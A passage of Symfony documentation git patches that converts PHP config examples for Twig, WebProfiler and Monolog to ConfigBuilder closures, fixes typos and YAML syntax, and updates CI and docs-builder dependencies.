-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'uuid' => '@App\Generator\UuidGenerator',
-            ],
-        ]);
+
+            $twig->global('uuid')->value('@App\Generator\UuidGenerator');
+        };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the
 ``UuidGenerator`` service:
diff --git a/testing.rst b/testing.rst
index ebf64cc562f..66c36711bd9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -184,9 +184,11 @@ code to production:
     .. code-block:: php
 
         // config/packages/test/twig.php
-        $container->loadFromExtension('twig', [
-            'strict_variables' => true,
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->strictVariables(true);
+        };
 
 You can also use a different environment entirely, or override the default
 debug mode (``true``) by passing each as options to the ``bootKernel()``

From 9bcce64e6e553a3f2398d907de542c25379ff96f Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 22 Apr 2021 12:25:09 +0200
Subject: [PATCH 2130/7107] Rename symfony-docs-tools to symfony-tools

---
 .github/workflows/ci.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 08dc6b970ea..ace788a628d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -139,14 +139,14 @@ jobs:
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone --depth 15 https://github.com/symfony-docs-tools/code-block-checker.git ../_checker
+              git clone --depth 15 https://github.com/symfony-tools/code-block-checker.git ../_checker
               cd ../_checker
               composer install
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-docs-tools/symfony-application.git ../_sf_app
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git ../_sf_app
               cd ../_sf_app
               composer update
 

From 7749b4c7e4e944158ee562ace57d4dcef081c82d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 22 Apr 2021 15:55:50 +0200
Subject: [PATCH 2131/7107] Fixing some typos

Question: Is this rule always true?:
> then ``token`` will only get the last part and the rest is matched by ``path``.
Cause if Yes, the introduction doesn't make sense:
> you might get unexpected results
cause if there's a rule, it's not unexpected ;-)
So it would be better to explain that the *first* parameter is always greedy.
---
 routing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index fefe3a190a3..6b5a91f8029 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1125,11 +1125,11 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. note::
 
-    If the route defines several parameter and you apply this permissive
+    If the route defines several parameters and you apply this permissive
     regular expression to all of them, you might get unexpected results. For
     example, if the route definition is ``/share/{path}/{token}`` and both
-    ``path`` and ``token`` accept ``/``. The ``token`` only get the last path
-    and the rest of the match is matched by the first argument (``path``).
+    ``path`` and ``token`` accept ``/``, then ``token`` will only get the last part
+    and the rest is matched by ``path``.
 
 .. note::
 

From 0fcc3e80d4559e7cd8ed65d5787375f656c5a11b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 22 Apr 2021 17:59:49 +0200
Subject: [PATCH 2132/7107] [Monolog] Add ConfigBuilders for Monolog

---
 email.rst                                |   8 +-
 logging.rst                              | 102 ++++++++-------
 logging/channels_handlers.rst            |  41 +++---
 logging/formatter.rst                    |  24 ++--
 logging/handlers.rst                     |  17 ++-
 logging/monolog_console.rst              |  18 +--
 logging/monolog_email.rst                | 153 ++++++++++++-----------
 logging/monolog_exclude_http_codes.rst   |  20 +--
 logging/monolog_regex_based_excludes.rst |  22 ++--
 logging/processors.rst                   |  20 +--
 10 files changed, 209 insertions(+), 216 deletions(-)

diff --git a/email.rst b/email.rst
index 60e630abc38..d2f52a21fd6 100644
--- a/email.rst
+++ b/email.rst
@@ -394,9 +394,11 @@ the report with details of the sent emails.
     .. code-block:: php
 
         // config/packages/dev/web_profiler.php
-        $container->loadFromExtension('web_profiler', [
-            'intercept_redirects' => 'true',
-        ]);
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $webProfiler) {
+            $webProfiler->interceptRedirects(true);
+        };
 
 .. tip::
 
diff --git a/logging.rst b/logging.rst
index 2651247d5c5..b18c6479bf1 100644
--- a/logging.rst
+++ b/logging.rst
@@ -138,23 +138,22 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // this "file_log" key could be anything
-                'file_log' => [
-                    'type'  => 'stream',
-                    // log to var/logs/(environment).log
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    // log *all* messages (debug is lowest level)
-                    'level' => 'debug',
-                ],
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    // log error-level messages and higher
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // this "file_log" key could be anything
+            $monolog->handler('file_log')
+                ->type('stream')
+                // log to var/logs/(environment).log
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                // log *all* messages (debug is lowest level)
+                ->level('debug');
+
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                // log error-level messages and higher
+                ->level('error');
+        };
 
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
@@ -236,29 +235,29 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'filter_for_errors' => [
-                    'type'         => 'fingers_crossed',
-                    // if *one* log is error or higher, pass *all* to file_log
-                    'action_level' => 'error',
-                    'handler'      => 'file_log',
-                ],
-
-                // now passed *all* logs, but only if one log is error or higher
-                'file_log' => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-
-                // still passed *all* logs, and still only logs error or higher
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('filter_for_errors')
+                ->type('fingers_crossed')
+                // if *one* log is error or higher, pass *all* to file_log
+                ->actionLevel('error')
+                ->handler('file_log')
+            ;
+
+            // now passed *all* logs, but only if one log is error or higher
+            $monolog->handler('file_log')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                ->level('error')
+            ;
+        };
 
 Now, if even one log entry has an ``error`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
@@ -331,18 +330,17 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'  => 'rotating_file',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                    // max number of log files to keep
-                    // defaults to zero, which means infinite files
-                    'max_files' => 10,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('rotating_file')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                // max number of log files to keep
+                // defaults to zero, which means infinite files
+                ->maxFiles(10);
+        };
 
 Using a Logger inside a Service
 -------------------------------
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..5c06b13d794 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -78,23 +78,19 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'security' => [
-                    'type'     => 'stream',
-                    'path'     => '%kernel.logs_dir%/security.log',
-                    'channels' => [
-                        'security',
-                    ],
-                ],
-                'main'     => [
-                    // ...
-                    'channels' => [
-                        '!security',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('security')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/security.log')
+                ->channels()->elements(['security']);
+
+            $monolog->handler('main')
+                 // ...
+
+                ->channels()->elements(['!security']);
+        };
 
 .. caution::
 
@@ -163,12 +159,11 @@ You can also configure additional channels without the need to tag your services
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'channels' => [
-                'foo',
-                'bar',
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->channels(['foo', 'bar']);
+        };
 
 Symfony automatically registers one service per channel (in this example, the
 channel ``foo`` creates a service called ``monolog.logger.foo``). In order to
diff --git a/logging/formatter.rst b/logging/formatter.rst
index b41cd7ad06e..737b0b86a5f 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -23,7 +23,7 @@ configure your handler to use it:
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -33,7 +33,6 @@ configure your handler to use it:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
             <monolog:config>
                 <monolog:handler
                     name="file"
@@ -46,16 +45,13 @@ configure your handler to use it:
 
     .. code-block:: php
 
-        // config/services.php
-        use Monolog\Formatter\JsonFormatter;
-
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'file' => [
-                    'type'      => 'stream',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.json',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('file')
+                ->type('stream')
+                ->level('debug')
+                ->formatter('monolog.formatter.json')
+            ;
+        };
diff --git a/logging/handlers.rst b/logging/handlers.rst
index 9f5b903cfa9..4e37e01f622 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -88,14 +88,13 @@ Then reference it in the Monolog configuration:
 
         // config/packages/prod/monolog.php
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
-
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'es' => [
-                    'type' => 'service',
-                    'id' => ElasticsearchLogstashHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
 
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 21c67d705d8..13789a35b25 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -122,15 +122,15 @@ The Monolog console handler is enabled by default:
     .. code-block:: php
 
         // config/packages/dev/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'console' => [
-                   'type' => 'console',
-                   'process_psr_3_messages' => false,
-                   'channels' => ['!event', '!doctrine', '!console'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('console')
+                ->type('console')
+                ->processPsr3Messages(false)
+                ->channels()->elements(['!event', '!doctrine', '!console'])
+            ;
+        };
 
 Now, log messages will be shown on the console based on the log levels and verbosity.
 By default (normal verbosity level), warnings and higher will be shown. But in
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 22ed4d08928..77a27cea9cd 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -99,36 +99,36 @@ it is broken down.
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    // 500 errors are logged at the critical level
-                    'action_level' => 'critical',
-                    // to also log 400 level errors (but not 404's):
-                    // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
-                    'handler'      => 'deduplicated',
-                ],
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    'handler' => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                // 500 errors are logged at the critical level
+                ->actionLevel('critical')
+                // to also log 400 level errors (but not 404's):
+                // ->actionLevel('error')
+                // ->excluded404s(['^/'])
+
+                ->handler('deduplicated')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer');
+
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 The ``main`` handler is a ``fingers_crossed`` handler which means that
 it is only triggered when the action level, in this case ``critical`` is reached.
@@ -177,17 +177,18 @@ You can adjust the time period using the ``time`` option:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // ...
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    // the time in seconds during which duplicate entries are discarded (default: 60)
-                    'time' => 10,
-                    'handler' => 'symfony_mailer',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // ...
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                // the time in seconds during which duplicate entries are discarded (default: 60)
+                ->time(10)
+                ->handler('symfony_mailer')
+            ;
+        };
 
 The messages are then passed to the ``symfony_mailer`` handler. This is the handler that
 actually deals with emailing you the error. The settings for this are
@@ -285,39 +286,43 @@ get logged on the server as well as the emails being sent:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    'action_level' => 'critical',
-                    'handler'      => 'grouped',
-                ],
-                'grouped' => [
-                    'type'    => 'group',
-                    'members' => ['streamed', 'deduplicated'],
-                ],
-                'streamed'  => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-                'deduplicated' => [
-                    'type'     => 'deduplication',
-                    'handler'  => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->actionLevel('critical')
+                ->handler('grouped')
+            ;
+
+            $monolog->handler('group')
+                ->members(['streamed', 'deduplicated'])
+            ;
+
+            $monolog->handler('streamed')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 This uses the ``group`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 9c1bd81bdcc..4382b818437 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -49,16 +49,16 @@ logging these HTTP codes based on the MonologBundle configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'                => 'fingers_crossed',
-                    'handler'             => ...,
-                    'excluded_http_codes' => [403, 404],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+                ->excludedHttpCode([403, 404])
+            ;
+        };
 
 .. caution::
 
diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
index be4a6ee8b7e..b5186e13b60 100644
--- a/logging/monolog_regex_based_excludes.rst
+++ b/logging/monolog_regex_based_excludes.rst
@@ -54,18 +54,16 @@ configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+                ->excluded404s(['^/phpmyadmin'])
+            ;
+        };
 
 
 .. caution::
diff --git a/logging/processors.rst b/logging/processors.rst
index c0a3eb33bbf..3c4faacda5f 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -149,16 +149,16 @@ Finally, set the formatter to be used on whatever handler you want:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'      => 'stream',
-                    'path'      => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.session_request',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                ->formatter('monolog.formatter.session_request')
+            ;
+        };
 
 If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally

From 9299acbe183c6ca6a1ffbb1e3ab8dfee712b508b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 23 Apr 2021 09:11:22 +0200
Subject: [PATCH 2133/7107] fix tagged mapping value YAML syntax

---
 service_container/service_subscribers_locators.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index fc702a52f27..89d47104900 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,10 +256,9 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments:
-                    !service_locator
-                        App\FooCommand: '@app.command_handler.foo'
-                        App\BarCommand: '@app.command_handler.bar'
+                arguments: !service_locator
+                    App\FooCommand: '@app.command_handler.foo'
+                    App\BarCommand: '@app.command_handler.bar'
 
     .. code-block:: xml
 

From 1a7717adafbf95715aa294c1f3e6b28a6a62af5f Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Fri, 23 Apr 2021 11:27:46 +0300
Subject: [PATCH 2134/7107] Recommend using root `controller` attribute in
 route definition

Instead of `defaults._controller`
---
 controller/service.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/service.rst b/controller/service.rst
index ca2f09b5d70..5d9fe9ade26 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -110,7 +110,7 @@ which is a common practice when following the `ADR pattern`_
         # config/routes.yaml
         hello:
             path:     /hello/{name}
-            defaults: { _controller: app.hello_controller }
+            controller: app.hello_controller
 
     .. code-block:: xml
 

From 521ae7a0acd5edbe2ecd325d4899d9952be8b9f6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:01:02 +0200
Subject: [PATCH 2135/7107] [CI][CodeBlockChecker] Installed tagged version
 instead of dev-main

---
 .github/workflows/ci.yaml | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index ace788a628d..7e9a12dd5ef 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -138,10 +138,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone --depth 15 https://github.com/symfony-tools/code-block-checker.git ../_checker
-              cd ../_checker
-              composer install
+            run: composer create-project symfony-tools/code-block-checker ../_checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}

From cb199ef0e947cdc9768d52a613d7c3c4963a2d8c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Thu, 22 Apr 2021 20:02:27 -0400
Subject: [PATCH 2136/7107] Adding details about "defer" and legacy jquery

---
 frontend/encore/legacy-applications.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index c22812d00b8..f333a70e3df 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -87,3 +87,18 @@ The ``global`` variable is a special way of setting things in the ``window``
 variable. In a web context, using ``global`` and ``window`` are equivalent,
 except that ``window.jQuery`` won't work when using ``autoProvidejQuery()``.
 In other words, use ``global``.
+
+Additionally, be sure to set the ``script_attributes.defer`` option to ``false``
+in your ``webpack_encore.yaml`` file:
+
+.. code-block:: yaml
+
+    # config/packages/webpack_encore.yaml
+    webpack_encore:
+        script_attributes:
+            defer: false
+
+This will make sure there is *not* a ``defer`` attribute on your ``script``
+tags. For more information, see `Moving <script> inside <head> and the "defer" Attribute`_
+
+.. _`Moving <script> inside <head> and the "defer" Attribute`: https://symfony.com/blog/moving-script-inside-head-and-the-defer-attribute

From ff7becc17da95d7334095077c4b31028cffe0448 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Apr 2021 17:50:09 +0200
Subject: [PATCH 2137/7107] Minor tweak

---
 frontend/encore/legacy-applications.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index f333a70e3df..8bad142104c 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -95,6 +95,7 @@ in your ``webpack_encore.yaml`` file:
 
     # config/packages/webpack_encore.yaml
     webpack_encore:
+        # ...
         script_attributes:
             defer: false
 

From 3837ebabffc87bcbc793c62e6738d34159dddeb9 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:42:34 +0200
Subject: [PATCH 2138/7107] Update docs-builder to version 0.15

---
 .github/workflows/ci.yaml |   2 +-
 _build/composer.json      |  10 +-
 _build/composer.lock      | 774 ++++++++++++--------------------------
 3 files changed, 252 insertions(+), 534 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 7e9a12dd5ef..fab47d265ae 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -49,7 +49,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 7.2
+                    php-version: 8.0
                     coverage: none
                     tools: "composer:v2"
 
diff --git a/_build/composer.json b/_build/composer.json
index 45f492f2f06..3f1d6049e4b 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -6,7 +6,7 @@
     ],
     "config": {
         "platform": {
-            "php": "7.2.9"
+            "php": "7.4.14"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         "sort-packages": true
     },
     "require": {
-        "php": ">=7.2.9",
-        "symfony/console": "^4.4",
-        "symfony/docs-builder": "^0.12.0",
-        "symfony/process": "^4.4"
+        "php": ">=7.4",
+        "symfony/console": "^5.2",
+        "symfony/docs-builder": "^0.15.0",
+        "symfony/process": "^5.2"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index b1815909808..a4662694f27 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "f237cd997543c606037f2517b2ffad9f",
+    "content-hash": "49b2e2e5deccf075db5011162e2dae0a",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,32 +102,36 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "dev-master",
+            "version": "0.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
+                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/b4db3420f62f44c2c12420b30dcf73f4c4700910",
+                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1",
-                "symfony/filesystem": "^4.1|^5.0",
-                "twig/twig": "^2.9.0"
+                "php": "^7.1 || ^8.0",
+                "symfony/filesystem": "^4.1 || ^5.0",
+                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/polyfill-mbstring": "^1.0",
+                "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
+                "doctrine/coding-standard": "^8.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.10",
-                "phpstan/phpstan-deprecation-rules": "^0.10",
-                "phpstan/phpstan-phpunit": "^0.10",
-                "phpstan/phpstan-strict-rules": "^0.10",
-                "phpunit/phpunit": "^7.0"
+                "phpstan/phpstan": "^0.12",
+                "phpstan/phpstan-deprecation-rules": "^0.12",
+                "phpstan/phpstan-phpunit": "^0.12",
+                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
+                "symfony/css-selector": "4.4 || ^5.2",
+                "symfony/dom-crawler": "4.4 || ^5.2"
             },
             "default-branch": true,
             "type": "library",
@@ -164,234 +168,28 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/master"
-            },
-            "time": "2020-10-26T13:37:24+00:00"
-        },
-        {
-            "name": "guzzlehttp/guzzle",
-            "version": "6.5.5",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "shasum": ""
-            },
-            "require": {
-                "ext-json": "*",
-                "guzzlehttp/promises": "^1.0",
-                "guzzlehttp/psr7": "^1.6.1",
-                "php": ">=5.5",
-                "symfony/polyfill-intl-idn": "^1.17.0"
-            },
-            "require-dev": {
-                "ext-curl": "*",
-                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
-                "psr/log": "^1.1"
-            },
-            "suggest": {
-                "psr/log": "Required for using the Log middleware"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "6.5-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\": "src/"
-                },
